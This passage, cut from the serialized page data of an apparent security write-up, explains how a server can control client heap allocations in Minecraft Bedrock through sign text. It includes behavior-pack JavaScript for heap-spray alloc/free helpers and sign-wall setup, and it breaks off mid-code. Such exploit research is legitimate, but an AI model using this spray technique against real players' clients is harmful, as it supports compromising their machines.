capacity;\n",{"type":24,"tag":90,"props":151938,"children":151939},{"class":92,"line":420},[151940],{"type":24,"tag":90,"props":151941,"children":151942},{"style":114},[151943],{"type":29,"value":3093},{"type":24,"tag":25,"props":151945,"children":151946},{},[151947,151949,151955,151957,151962],{"type":29,"value":151948},"We are primarily interested in the union: ",{"type":24,"tag":32,"props":151950,"children":151952},{"className":151951},[],[151953],{"type":29,"value":151954},"buf",{"type":29,"value":151956}," is used when the string fits within 16 bytes, while ",{"type":24,"tag":32,"props":151958,"children":151960},{"className":151959},[],[151961],{"type":29,"value":395},{"type":29,"value":151963}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":24,"tag":25,"props":151965,"children":151966},{},[151967],{"type":29,"value":151968},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":24,"tag":25,"props":151970,"children":151971},{},[151972],{"type":29,"value":151973},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":24,"tag":20686,"props":151975,"children":151977},{"id":151976},"spraying-with-server-side-scripting",[151978],{"type":29,"value":151979},"Spraying With Server-Side Scripting",{"type":24,"tag":25,"props":151981,"children":151982},{},[151983],{"type":29,"value":151984},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":24,"tag":25,"props":151986,"children":151987},{},[151988,151990,151996,151997,152003],{"type":29,"value":151989},"We wrote ",{"type":24,"tag":32,"props":151991,"children":151993},{"className":151992},[],[151994],{"type":29,"value":151995},"alloc",{"type":29,"value":13360},{"type":24,"tag":32,"props":151998,"children":152000},{"className":151999},[],[152001],{"type":29,"value":152002},"free",{"type":29,"value":152004}," helpers that trigger an allocation in the client and free it on demand:",{"type":24,"tag":80,"props":152006,"children":152008},{"code":152007,"language":37431,"meta":7,"className":37429,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n for (let sign of signs) {\n if (sign.allocated || sign.removed) {\n continue;\n }\n\n sign.sign.setText(fill.repeat(size - 1));\n sign.allocated = true;\n return sign;\n }\n\n console.warn(\"No more allocs\");\n return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n if (sign == undefined || sign.allocated == false) {\n return;\n }\n\n sign.sign.setText(\"\");\n sign.allocated = false;\n\n sign.block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n sign.removed = true;\n}\n",[152009],{"type":24,"tag":32,"props":152010,"children":152011},{"__ignoreMap":7},[152012,152020,152062,152095,152140,152152,152159,152166,152227,152254,152269,152276,152283,152312,152327,152334,152341,152349,152373,152424,152435,152442,152449,152486,152513,152520,152549,152579,152586,152613],{"type":24,"tag":90,"props":152013,"children":152014},{"class":92,"line":93},[152015],{"type":24,"tag":90,"props":152016,"children":152017},{"style":252},[152018],{"type":29,"value":152019},"// Allocate sign text in the client\n",{"type":24,"tag":90,"props":152021,"children":152022},{"class":92,"line":200},[152023,152027,152032,152036,152040,152044,152049,152053,152058],{"type":24,"tag":90,"props":152024,"children":152025},{"style":97},[152026],{"type":29,"value":33190},{"type":24,"tag":90,"props":152028,"children":152029},{"style":108},[152030],{"type":29,"value":152031}," alloc",{"type":24,"tag":90,"props":152033,"children":152034},{"style":114},[152035],{"type":29,"value":117},{"type":24,"tag":90,"props":152037,"children":152038},{"style":136},[152039],{"type":29,"value":126090},{"type":24,"tag":90,"props":152041,"children":152042},{"style":114},[152043],{"type":29,"value":133},{"type":24,"tag":90,"props":152045,"children":152046},{"style":136},[152047],{"type":29,"value":152048},"fill",{"type":24,"tag":90,"props":152050,"children":152051},{"style":120},[152052],{"type":29,"value":5491},{"type":24,"tag":90,"props":152054,"children":152055},{"style":1085},[152056],{"type":29,"value":152057},"\"A\"",{"type":24,"tag":90,"props":152059,"children":152060},{"style":114},[152061],{"type":29,"value":1297},{"type":24,"tag":90,"props":152063,"children":152064},{"class":92,"line":239},[152065,152069,152073,152077,152082,152086,152091],{"type":24,"tag":90,"props":152066,"children":152067},{"style":636},[152068],{"type":29,"value":5434},{"type":24,"tag":90,"props":152070,"children":152071},{"style":114},[152072],{"type":29,"value":1151},{"type":24,"tag":90,"props":152074,"children":152075},{"style":97},[152076],{"type":29,"value":895},{"type":24,"tag":90,"props":152078,"children":152079},{"style":136},[152080],{"type":29,"value":152081}," sign",{"type":24,"tag":90,"props":152083,"children":152084},{"style":97},[152085],{"type":29,"value":12731},{"type":24,"tag":90,"props":152087,"children":152088},{"style":136},[152089],{"type":29,"value":152090}," signs",{"type":24,"tag":90,"props":152092,"children":152093},{"style":114},[152094],{"type":29,"value":1297},{"type":24,"tag":90,"props":152096,"children":152097},{"class":92,"line":248},[152098,152102,152106,152111,152115,152120,152124,152128,152132,152136],{"type":24,"tag":90,"props":152099,"children":152100},{"style":636},[152101],{"type":29,"value":5667},{"type":24,"tag":90,"props":152103,"children":152104},{"style":114},[152105],{"type":29,"value":1151},{"type":24,"tag":90,"props":152107,"children":152108},{"style":136},[152109],{"type":29,"value":152110},"sign",{"type":24,"tag":90,"props":152112,"children":152113},{"style":114},[152114],{"type":29,"value":226},{"type":24,"tag":90,"props":152116,"children":152117},{"style":136},[152118],{"type":29,"value":152119},"allocated",{"type":24,"tag":90,"props":152121,"children":152122},{"style":120},[152123],{"type":29,"value":25505},{"type":24,"tag":90,"props":152125,"children":152126},{"style":136},[152127],{"type":29,"value":152081},{"type":24,"tag":90,"props":152129,"children":152130},{"style":114},[152131],{"type":29,"value":226},{"type":24,"tag":90,"props":152133,"children":152134},{"style":136},[152135],{"type":29,"value":134795},{"type":24,"tag":90,"props":152137,"children":152138},{"style":114},[152139],{"type":29,"value":1297},{"type":24,"tag":90,"props":152141,"children":152142},{"class":92,"line":258},[152143,152148],{"type":24,"tag":90,"props":152144,"children":152145},{"style":636},[152146],{"type":29,"value":152147}," continue",{"type":24,"tag":90,"props":152149,"children":152150},{"style":114},[152151],{"type":29,"value":381},{"type":24,"tag":90,"props":152153,"children":152154},{"class":92,"line":272},[152155],{"type":24,"tag":90,"props":152156,"children":152157},{"style":114},[152158],{"type":29,"value":5740},{"type":24,"tag":90,"props":152160,"children":152161},{"class":92,"line":281},[152162],{"type":24,"tag":90,"props":152163,"children":152164},{"emptyLinePlaceholder":16},[152165],{"type":29,"value":245},{"type":24,"tag":90,"props":152167,"children":152168},{"class":92,"line":384},[152169,152174,152178,152182,152186,152191,152195,152199,152203,152207,152211,152215,152219,152223],{"type":24,"tag":90,"props":152170,"children":152171},{"style":136},[152172],{"type":29,"value":152173}," sign",{"type":24,"tag":90,"props":152175,"children":152176},{"style":114},[152177],{"type":29,"value":226},{"type":24,"tag":90,"props":152179,"children":152180},{"style":136},[152181],{"type":29,"value":152110},{"type":24,"tag":90,"props":152183,"children":152184},{"style":114},[152185],{"type":29,"value":226},{"type":24,"tag":90,"props":152187,"children":152188},{"style":108},[152189],{"type":29,"value":152190},"setText",{"type":24,"tag":90,"props":152192,"children":152193},{"style":114},[152194],{"type":29,"value":117},{"type":24,"tag":90,"props":152196,"children":152197},{"style":136},[152198],{"type":29,"value":152048},{"type":24,"tag":90,"props":152200,"children":152201},{"style":114},[152202],{"type":29,"value":226},{"type":24,"tag":90,"props":152204,"children":152205},{"style":108},[152206],{"type":29,"value":135045},{"type":24,"tag":90,"props":152208,"children":152209},{"style":114},[152210],{"type":29,"value":117},{"type":24,"tag":90,"props":152212,"children":152213},{"style":136},[152214],{"type":29,"value":126090},{"type":24,"tag":90,"props":152216,"children":152217},{"style":120},[152218],{"type":29,"value":53079},{"type":24,"tag":90,"props":152220,"children":152221},{"style":349},[152222],{"type":29,"value":6909},{"type":24,"tag":90,"props":152224,"children":152225},{"style":114},[152226],{"type":29,"value":9605},{"type":24,"tag":90,"props":152228,"children":152229},{"class":92,"line":420},[152230,152234,152238,152242,152246,152250],{"type":24,"tag":90,"props":152231,"children":152232},{"style":136},[152233],{"type":29,"value":152173},{"type":24,"tag":90,"props":152235,"children":152236},{"style":114},[152237],{"type":29,"value":226},{"type":24,"tag":90,"props":152239,"children":152240},{"style":136},[152241],{"type":29,"value":152119},{"type":24,"tag":90,"props":152243,"children":152244},{"style":120},[152245],{"type":29,"value":216},{"type":24,"tag":90,"props":152247,"children":152248},{"style":97},[152249],{"type":29,"value":14835},{"type":24,"tag":90,"props":152251,"children":152252},{"style":114},[152253],{"type":29,"value":381},{"type":24,"tag":90,"props":152255,"children":152256},{"class":92,"line":428},[152257,152261,152265],{"type":24,"tag":90,"props":152258,"children":152259},{"style":636},[152260],{"type":29,"value":2253},{"type":24,"tag":90,"props":152262,"children":152263},{"style":136},[152264],{"type":29,"value":152081},{"type":24,"tag":90,"props":152266,"children":152267},{"style":114},[152268],{"type":29,"value":381},{"type":24,"tag":90,"props":152270,"children":152271},{"class":92,"line":437},[152272],{"type":24,"tag":90,"props":152273,"children":152274},{"style":114},[152275],{"type":29,"value":612},{"type":24,"tag":90,"props":152277,"children":152278},{"class":92,"line":574},[152279],{"type":24,"tag":90,"props":152280,"children":152281},{"emptyLinePlaceholder":16},[152282],{"type":29,"value":245},{"type":24,"tag":90,"props":152284,"children":152285},{"class":92,"line":606},[152286,152290,152294,152299,152303,152308],{"type":24,"tag":90,"props":152287,"children":152288},{"style":136},[152289],{"type":29,"value":33252},{"type":24,"tag":90,"props":152291,"children":152292},{"style":114},[152293],{"type":29,"value":226},{"type":24,"tag":90,"props":152295,"children":152296},{"style":108},[152297],{"type":29,"value":152298},"warn",{"type":24,"tag":90,"props":152300,"children":152301},{"style":114},[152302],{"type":29,"value":117},{"type":24,"tag":90,"props":152304,"children":152305},{"style":1085},[152306],{"type":29,"value":152307},"\"No more allocs\"",{"type":24,"tag":90,"props":152309,"children":152310},{"style":114},[152311],{"type":29,"value":571},{"type":24,"tag":90,"props":152313,"children":152314},{"class":92,"line":615},[152315,152319,152323],{"type":24,"tag":90,"props":152316,"children":152317},{"style":636},[152318],{"type":29,"value":3510},{"type":24,"tag":90,"props":152320,"children":152321},{"style":97},[152322],{"type":29,"value":41154},{"type":24,"tag":90,"props":152324,"children":152325},{"style":114},[152326],{"type":29,"value":381},{"type":24,"tag":90,"props":152328,"children":152329},{"class":92,"line":623},[152330],{"type":24,"tag":90,"props":152331,"children":152332},{"style":114},[152333],{"type":29,"value":827},{"type":24,"tag":90,"props":152335,"children":152336},{"class":92,"line":632},[152337],{"type":24,"tag":90,"props":152338,"children":152339},{"emptyLinePlaceholder":16},[152340],{"type":29,"value":245},{"type":24,"tag":90,"props":152342,"children":152343},{"class":92,"line":669},[152344],{"type":24,"tag":90,"props":152345,"children":152346},{"style":252},[152347],{"type":29,"value":152348},"// Free an allocated sign in the client\n",{"type":24,"tag":90,"props":152350,"children":152351},{"class":92,"line":683},[152352,152356,152361,152365,152369],{"type":24,"tag":90,"props":152353,"children":152354},{"style":97},[152355],{"type":29,"value":33190},{"type":24,"tag":90,"props":152357,"children":152358},{"style":108},[152359],{"type":29,"value":152360}," free",{"type":24,"tag":90,"props":152362,"children":152363},{"style":114},[152364],{"type":29,"value":117},{"type":24,"tag":90,"props":152366,"children":152367},{"style":136},[152368],{"type":29,"value":152110},{"type":24,"tag":90,"props":152370,"children":152371},{"style":114},[152372],{"type":29,"value":1297},{"type":24,"tag":90,"props":152374,"children":152375},{"class":92,"line":737},[152376,152380,152384,152388,152392,152396,152400,152404,152408,152412,152416,152420],{"type":24,"tag":90,"props":152377,"children":152378},{"style":636},[152379],{"type":29,"value":639},{"type":24,"tag":90,"props":152381,"children":152382},{"style":114},[152383],{"type":29,"value":1151},{"type":24,"tag":90,"props":152385,"children":152386},{"style":136},[152387],{"type":29,"value":152110},{"type":24,"tag":90,"props":152389,"children":152390},{"style":120},[152391],{"type":29,"value":2102},{"type":24,"tag":90,"props":152393,"children":152394},{"style":97},[152395],{"type":29,"value":41154},{"type":24,"tag":90,"props":152397,"children":152398},{"style":120},[152399],{"type":29,"value":25505},{"type":24,"tag":90,"props":152401,"children":152402},{"style":136},[152403],{"type":29,"value":152081},{"type":24,"tag":90,"props":152405,"children":152406},{"style":114},[152407],{"type":29,"value":226},{"type":24,"tag":90,"props":152409,"children":152410},{"style":136},[152411],{"type":29,"value":152119},{"type":24,"tag":90,"props":152413,"children":152414},{"style":120},[152415],{"type":29,"value":2102},{"type":24,"tag":90,"props":152417,"children":152418},{"style":97},[152419],{"type":29,"value":11431},{"type":24,"tag":90,"props":152421,"children":152422},{"style":114},[152423],{"type":29,"value":1297},{"type":24,"tag":90,"props":152425,"children":152426},{"class":92,"line":751},[152427,152431],{"type":24,"tag":90,"props":152428,"children":152429},{"style":636},[152430],{"type":29,"value":2253},{"type":24,"tag":90,"props":152432,"children":152433},{"style":114},[152434],{"type":29,"value":381},{"type":24,"tag":90,"props":152436,"children":152437},{"class":92,"line":782},[152438],{"type":24,"tag":90,"props":152439,"children":152440},{"style":114},[152441],{"type":29,"value":612},{"type":24,"tag":90,"props":152443,"children":152444},{"class":92,"line":791},[152445],{"type":24,"tag":90,"props":152446,"children":152447},{"emptyLinePlaceholder":16},[152448],{"type":29,"value":245},{"type":24,"tag":90,"props":152450,"children":152451},{"class":92,"line":799},[152452,152457,152461,152465,152469,152473,152477,152482],{"type":24,"tag":90,"props":152453,"children":152454},{"style":136},[152455],{"type":29,"value":152456}," sign",{"type":24,"tag":90,"props":152458,"children":152459},{"style":114},[152460],{"type":29,"value":226},{"type":24,"tag":90,"props":152462,"children":152463},{"style":136},[152464],{"type":29,"value":152110},{"type":24,"tag":90,"props":152466,"children":152467},{"style":114},[152468],{"type":29,"value":226},{"type":24,"tag":90,"props":152470,"children":152471},{"style":108},[152472],{"type":29,"value":152190},{"type":24,"tag":90,"props":152474,"children":152475},{"style":114},[152476],{"type":29,"value":117},{"type":24,"tag":90,"props":152478,"children":152479},{"style":1085},[152480],{"type":29,"value":152481},"\"\"",{"type":24,"tag":90,"props":152483,"children":152484},{"style":114},[152485],{"type":29,"value":571},{"type":24,"tag":90,"props":152487,"children":152488},{"class":92,"line":807},[152489,152493,152497,152501,152505,152509],{"type":24,"tag":90,"props":152490,"children":152491},{"style":136},[152492],{"type":29,"value":152456},{"type":24,"tag":90,"props":152494,"children":152495},{"style":114},[152496],{"type":29,"value":226},{"type":24,"tag":90,"props":152498,"children":152499},{"style":136},[152500],{"type":29,"value":152119},{"type":24,"tag":90,"props":152502,"children":152503},{"style":120},[152504],{"type":29,"value":216},{"type":24,"tag":90,"props":152506,"children":152507},{"style":97},[152508],{"type":29,"value":11431},{"type":24,"tag":90,"props":152510,"children":152511},{"style":114},[152512],{"type":29,"value":381},{"type":24,"tag":90,"props":152514,"children":152515},{"class":92,"line":821},[152516],{"type":24,"tag":90,"props":152517,"children":152518},{"emptyLinePlaceholder":16},[152519],{"type":29,"value":245},{"type":24,"tag":90,"props":152521,"children":152522},{"class":92,"line":6278},[152523,152527,152531,152536,152540,152545],{"type":24,"tag":90,"props":152524,"children":152525},{"style":136},[152526],{"type":29,"value":152456},{"type":24,"tag":90,"props":152528,"children":152529},{"style":114},[152530],{"type":29,"value":226},{"type":24,"tag":90,"props":152532,"children":152533},{"style":136},[152534],{"type":29,"value":152535},"block",{"type":24,"tag":90,"props":152537,"children":152538},{"style":114},[152539],{"type":29,"value":226},{"type":24,"tag":90,"props":152541,"children":152542},{"style":108},[152543],{"type":29,"value":152544},"setPermutation",{"type":24,"tag":90,"props":152546,"children":152547},{"style":114},[152548],{"type":29,"value":680},{"type":24,"tag":90,"props":152550,"children":152551},{"class":92,"line":11420},[152552,152557,152561,152566,152570,152575],{"type":24,"tag":90,"props":152553,"children":152554},{"style":136},[152555],{"type":29,"value":152556}," BlockPermutation",{"type":24,"tag":90,"props":152558,"children":152559},{"style":114},[152560],{"type":29,"value":226},{"type":24,"tag":90,"props":152562,"children":152563},{"style":108},[152564],{"type":29,"value":152565},"resolve",{"type":24,"tag":90,"props":152567,"children":152568},{"style":114},[152569],{"type":29,"value":117},{"type":24,"tag":90,"props":152571,"children":152572},{"style":1085},[152573],{"type":29,"value":152574},"\"minecraft:air\"",{"type":24,"tag":90,"props":152576,"children":152577},{"style":114},[152578],{"type":29,"value":1686},{"type":24,"tag":90,"props":152580,"children":152581},{"class":92,"line":11438},[152582],{"type":24,"tag":90,"props":152583,"children":152584},{"style":114},[152585],{"type":29,"value":45476},{"type":24,"tag":90,"props":152587,"children":152588},{"class":92,"line":11483},[152589,152593,152597,152601,152605,152609],{"type":24,"tag":90,"props":152590,"children":152591},{"style":136},[152592],{"type":29,"value":152456},{"type":24,"tag":90,"props":152594,"children":152595},{"style":114},[152596],{"type":29,"value":226},{"type":24,"tag":90,"props":152598,"children":152599},{"style":136},[152600],{"type":29,"value":134795},{"type":24,"tag":90,"props":152602,"children":152603},{"style":120},[152604],{"type":29,"value":216},{"type":24,"tag":90,"props":152606,"children":152607},{"style":97},[152608],{"type":29,"value":14835},{"type":24,"tag":90,"props":152610,"children":152611},{"style":114},[152612],{"type":29,"value":381},{"type":24,"tag":90,"props":152614,"children":152615},{"class":92,"line":11589},[152616],{"type":24,"tag":90,"props":152617,"children":152618},{"style":114},[152619],{"type":29,"value":827},{"type":24,"tag":25,"props":152621,"children":152622},{},[152623,152625,152631],{"type":29,"value":152624},"These functions will be used to perform the heap spray. Before that, we need to populate the ",{"type":24,"tag":32,"props":152626,"children":152628},{"className":152627},[],[152629],{"type":29,"value":152630},"signs",{"type":29,"value":152632}," array. For this, we generate a wall of signs when a player joins, and remove it after they leave:",{"type":24,"tag":80,"props":152634,"children":152636},{"code":152635,"language":37431,"meta":7,"className":37429,"style":7},"let signs;\n\nfunction create_wall() {\n signs = [];\n\n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n\n [...]\n \n const sign_block = world\n .getDimension(\"overworld\")\n .getBlock(sign_location);\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:wall_sign\", {\n facing_direction: 3\n }\n ));\n let sign_component = sign_block\n .getComponent(BlockComponentTypes.Sign);\n\n signs.push({\n sign: sign_component,\n allocated: false,\n block: sign_block,\n removed: false\n });\n }\n }\n}\n\nfunction remove_wall() {\n signs = [];\n \n for (let current_y = 0; current_y \u003C WALL_HEIGHT; current_y++) {\n for (let current_x = 0; current_x \u003C WALL_WIDTH; current_x++) {\n \n [...]\n \n const sign_block = await wait_for_block(\n world.getDimension(\"overworld\"),\n sign_location\n );\n sign_block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n\n [...]\n }\n }\n}\n\nworld.afterEvents.playerSpawn.subscribe((arg) => {\n create_wall();\n});\n\nworld.beforeEvents.playerLeave.subscribe(async (arg) => {\n remove_wall();\n});\n",[152637],{"type":24,"tag":32,"props":152638,"children":152639},{"__ignoreMap":7},[152640,152655,152662,152678,152695,152702,152764,152826,152833,152849,152857,152879,152905,152930,152950,152979,152991,152998,153006,153028,153062,153069,153089,153105,153121,153137,153149,153157,153164,153171,153178,153185,153201,153216,153223,153282,153341,153348,153363,153371,153399,153427,153435,153442,153461,153488,153495,153502,153517,153524,153531,153538,153545,153601,153613,153620,153627,153688,153700],{"type":24,"tag":90,"props":152641,"children":152642},{"class":92,"line":93},[152643,152647,152651],{"type":24,"tag":90,"props":152644,"children":152645},{"style":97},[152646],{"type":29,"value":895},{"type":24,"tag":90,"props":152648,"children":152649},{"style":136},[152650],{"type":29,"value":152090},{"type":24,"tag":90,"props":152652,"children":152653},{"style":114},[152654],{"type":29,"value":381},{"type":24,"tag":90,"props":152656,"children":152657},{"class":92,"line":200},[152658],{"type":24,"tag":90,"props":152659,"children":152660},{"emptyLinePlaceholder":16},[152661],{"type":29,"value":245},{"type":24,"tag":90,"props":152663,"children":152664},{"class":92,"line":239},[152665,152669,152674],{"type":24,"tag":90,"props":152666,"children":152667},{"style":97},[152668],{"type":29,"value":33190},{"type":24,"tag":90,"props":152670,"children":152671},{"style":108},[152672],{"type":29,"value":152673}," create_wall",{"type":24,"tag":90,"props":152675,"children":152676},{"style":114},[152677],{"type":29,"value":2245},{"type":24,"tag":90,"props":152679,"children":152680},{"class":92,"line":248},[152681,152686,152690],{"type":24,"tag":90,"props":152682,"children":152683},{"style":136},[152684],{"type":29,"value":152685}," signs",{"type":24,"tag":90,"props":152687,"children":152688},{"style":120},[152689],{"type":29,"value":216},{"type":24,"tag":90,"props":152691,"children":152692},{"style":114},[152693],{"type":29,"value":152694}," [];\n",{"type":24,"tag":90,"props":152696,"children":152697},{"class":92,"line":258},[152698],{"type":24,"tag":90,"props":152699,"children":152700},{"emptyLinePlaceholder":16},[152701],{"type":29,"value":245},{"type":24,"tag":90,"props":152703,"children":152704},{"class":92,"line":272},[152705,152709,152713,152717,152722,152726,152730,152734,152739,152743,152748,152752,152756,152760],{"type":24,"tag":90,"props":152706,"children":152707},{"style":636},[152708],{"type":29,"value":5434},{"type":24,"tag":90,"props":152710,"children":152711},{"style":114},[152712],{"type":29,"value":1151},{"type":24,"tag":90,"props":152714,"children":152715},{"style":97},[152716],{"type":29,"value":895},{"type":24,"tag":90,"props":152718,"children":152719},{"style":136},[152720],{"type":29,"value":152721}," current_y",{"type":24,"tag":90,"props":152723,"children":152724},{"style":120},[152725],{"type":29,"value":216},{"type":24,"tag":90,"props":152727,"children":152728},{"style":349},[152729],{"type":29,"value":5448},{"type":24,"tag":90,"props":152731,"children":152732},{"style":114},[152733],{"type":29,"value":3748},{"type":24,"tag":90,"props":152735,"children":152736},{"style":136},[152737],{"type":29,"value":152738},"current_y",{"type":24,"tag":90,"props":152740,"children":152741},{"style":120},[152742],{"type":29,"value":11095},{"type":24,"tag":90,"props":152744,"children":152745},{"style":136},[152746],{"type":29,"value":152747}," WALL_HEIGHT",{"type":24,"tag":90,"props":152749,"children":152750},{"style":114},[152751],{"type":29,"value":3748},{"type":24,"tag":90,"props":152753,"children":152754},{"style":136},[152755],{"type":29,"value":152738},{"type":24,"tag":90,"props":152757,"children":152758},{"style":120},[152759],{"type":29,"value":53093},{"type":24,"tag":90,"props":152761,"children":152762},{"style":114},[152763],{"type":29,"value":1297},{"type":24,"tag":90,"props":152765,"children":152766},{"class":92,"line":281},[152767,152771,152775,152779,152784,152788,152792,152796,152801,152805,152810,152814,152818,152822],{"type":24,"tag":90,"props":152768,"children":152769},{"style":636},[152770],{"type":29,"value":62402},{"type":24,"tag":90,"props":152772,"children":152773},{"style":114},[152774],{"type":29,"value":1151},{"type":24,"tag":90,"props":152776,"children":152777},{"style":97},[152778],{"type":29,"value":895},{"type":24,"tag":90,"props":152780,"children":152781},{"style":136},[152782],{"type":29,"value":152783}," current_x",{"type":24,"tag":90,"props":152785,"children":152786},{"style":120},[152787],{"type":29,"value":216},{"type":24,"tag":90,"props":152789,"children":152790},{"style":349},[152791],{"type":29,"value":5448},{"type":24,"tag":90,"props":152793,"children":152794},{"style":114},[152795],{"type":29,"value":3748},{"type":24,"tag":90,"props":152797,"children":152798},{"style":136},[152799],{"type":29,"value":152800},"current_x",{"type":24,"tag":90,"props":152802,"children":152803},{"style":120},[152804],{"type":29,"value":11095},{"type":24,"tag":90,"props":152806,"children":152807},{"style":136},[152808],{"type":29,"value":152809}," WALL_WIDTH",{"type":24,"tag":90,"props":152811,"children":152812},{"style":114},[152813],{"type":29,"value":3748},{"type":24,"tag":90,"props":152815,"children":152816},{"style":136},[152817],{"type":29,"value":152800},{"type":24,"tag":90,"props":152819,"children":152820},{"style":120},[152821],{"type":29,"value":53093},{"type":24,"tag":90,"props":152823,"children":152824},{"style":114},[152825],{"type":29,"value":1297},{"type":24,"tag":90,"props":152827,"children":152828},{"class":92,"line":384},[152829],{"type":24,"tag":90,"props":152830,"children":152831},{"emptyLinePlaceholder":16},[152832],{"type":29,"value":245},{"type":24,"tag":90,"props":152834,"children":152835},{"class":92,"line":420},[152836,152841,152845],{"type":24,"tag":90,"props":152837,"children":152838},{"style":114},[152839],{"type":29,"value":152840}," [",{"type":24,"tag":90,"props":152842,"children":152843},{"style":120},[152844],{"type":29,"value":3013},{"type":24,"tag":90,"props":152846,"children":152847},{"style":114},[152848],{"type":29,"value":14141},{"type":24,"tag":90,"props":152850,"children":152851},{"class":92,"line":428},[152852],{"type":24,"tag":90,"props":152853,"children":152854},{"style":114},[152855],{"type":29,"value":152856}," \n",{"type":24,"tag":90,"props":152858,"children":152859},{"class":92,"line":437},[152860,152865,152870,152874],{"type":24,"tag":90,"props":152861,"children":152862},{"style":97},[152863],{"type":29,"value":152864}," const",{"type":24,"tag":90,"props":152866,"children":152867},{"style":136},[152868],{"type":29,"value":152869}," sign_block",{"type":24,"tag":90,"props":152871,"children":152872},{"style":120},[152873],{"type":29,"value":216},{"type":24,"tag":90,"props":152875,"children":152876},{"style":136},[152877],{"type":29,"value":152878}," world\n",{"type":24,"tag":90,"props":152880,"children":152881},{"class":92,"line":574},[152882,152887,152892,152896,152901],{"type":24,"tag":90,"props":152883,"children":152884},{"style":114},[152885],{"type":29,"value":152886}," .",{"type":24,"tag":90,"props":152888,"children":152889},{"style":108},[152890],{"type":29,"value":152891},"getDimension",{"type":24,"tag":90,"props":152893,"children":152894},{"style":114},[152895],{"type":29,"value":117},{"type":24,"tag":90,"props":152897,"children":152898},{"style":1085},[152899],{"type":29,"value":152900},"\"overworld\"",{"type":24,"tag":90,"props":152902,"children":152903},{"style":114},[152904],{"type":29,"value":1686},{"type":24,"tag":90,"props":152906,"children":152907},{"class":92,"line":606},[152908,152912,152917,152921,152926],{"type":24,"tag":90,"props":152909,"children":152910},{"style":114},[152911],{"type":29,"value":152886},{"type":24,"tag":90,"props":152913,"children":152914},{"style":108},[152915],{"type":29,"value":152916},"getBlock",{"type":24,"tag":90,"props":152918,"children":152919},{"style":114},[152920],{"type":29,"value":117},{"type":24,"tag":90,"props":152922,"children":152923},{"style":136},[152924],{"type":29,"value":152925},"sign_location",{"type":24,"tag":90,"props":152927,"children":152928},{"style":114},[152929],{"type":29,"value":571},{"type":24,"tag":90,"props":152931,"children":152932},{"class":92,"line":615},[152933,152938,152942,152946],{"type":24,"tag":90,"props":152934,"children":152935},{"style":136},[152936],{"type":29,"value":152937}," sign_block",{"type":24,"tag":90,"props":152939,"children":152940},{"style":114},[152941],{"type":29,"value":226},{"type":24,"tag":90,"props":152943,"children":152944},{"style":108},[152945],{"type":29,"value":152544},{"type":24,"tag":90,"props":152947,"children":152948},{"style":114},[152949],{"type":29,"value":680},{"type":24,"tag":90,"props":152951,"children":152952},{"class":92,"line":623},[152953,152958,152962,152966,152970,152975],{"type":24,"tag":90,"props":152954,"children":152955},{"style":136},[152956],{"type":29,"value":152957}," BlockPermutation",{"type":24,"tag":90,"props":152959,"children":152960},{"style":114},[152961],{"type":29,"value":226},{"type":24,"tag":90,"props":152963,"children":152964},{"style":108},[152965],{"type":29,"value":152565},{"type":24,"tag":90,"props":152967,"children":152968},{"style":114},[152969],{"type":29,"value":117},{"type":24,"tag":90,"props":152971,"children":152972},{"style":1085},[152973],{"type":29,"value":152974},"\"minecraft:wall_sign\"",{"type":24,"tag":90,"props":152976,"children":152977},{"style":114},[152978],{"type":29,"value":50705},{"type":24,"tag":90,"props":152980,"children":152981},{"class":92,"line":632},[152982,152987],{"type":24,"tag":90,"props":152983,"children":152984},{"style":136},[152985],{"type":29,"value":152986}," facing_direction:",{"type":24,"tag":90,"props":152988,"children":152989},{"style":349},[152990],{"type":29,"value":21121},{"type":24,"tag":90,"props":152992,"children":152993},{"class":92,"line":669},[152994],{"type":24,"tag":90,"props":152995,"children":152996},{"style":114},[152997],{"type":29,"value":72899},{"type":24,"tag":90,"props":152999,"children":153000},{"class":92,"line":683},[153001],{"type":24,"tag":90,"props":153002,"children":153003},{"style":114},[153004],{"type":29,"value":153005}," ));\n",{"type":24,"tag":90,"props":153007,"children":153008},{"class":92,"line":737},[153009,153014,153019,153023],{"type":24,"tag":90,"props":153010,"children":153011},{"style":97},[153012],{"type":29,"value":153013}," let",{"type":24,"tag":90,"props":153015,"children":153016},{"style":136},[153017],{"type":29,"value":153018}," sign_component",{"type":24,"tag":90,"props":153020,"children":153021},{"style":120},[153022],{"type":29,"value":216},{"type":24,"tag":90,"props":153024,"children":153025},{"style":136},[153026],{"type":29,"value":153027}," sign_block\n",{"type":24,"tag":90,"props":153029,"children":153030},{"class":92,"line":751},[153031,153035,153040,153044,153049,153053,153058],{"type":24,"tag":90,"props":153032,"children":153033},{"style":114},[153034],{"type":29,"value":152886},{"type":24,"tag":90,"props":153036,"children":153037},{"style":108},[153038],{"type":29,"value":153039},"getComponent",{"type":24,"tag":90,"props":153041,"children":153042},{"style":114},[153043],{"type":29,"value":117},{"type":24,"tag":90,"props":153045,"children":153046},{"style":136},[153047],{"type":29,"value":153048},"BlockComponentTypes",{"type":24,"tag":90,"props":153050,"children":153051},{"style":114},[153052],{"type":29,"value":226},{"type":24,"tag":90,"props":153054,"children":153055},{"style":136},[153056],{"type":29,"value":153057},"Sign",{"type":24,"tag":90,"props":153059,"children":153060},{"style":114},[153061],{"type":29,"value":571},{"type":24,"tag":90,"props":153063,"children":153064},{"class":92,"line":782},[153065],{"type":24,"tag":90,"props":153066,"children":153067},{"emptyLinePlaceholder":16},[153068],{"type":29,"value":245},{"type":24,"tag":90,"props":153070,"children":153071},{"class":92,"line":791},[153072,153077,153081,153085],{"type":24,"tag":90,"props":153073,"children":153074},{"style":136},[153075],{"type":29,"value":153076}," 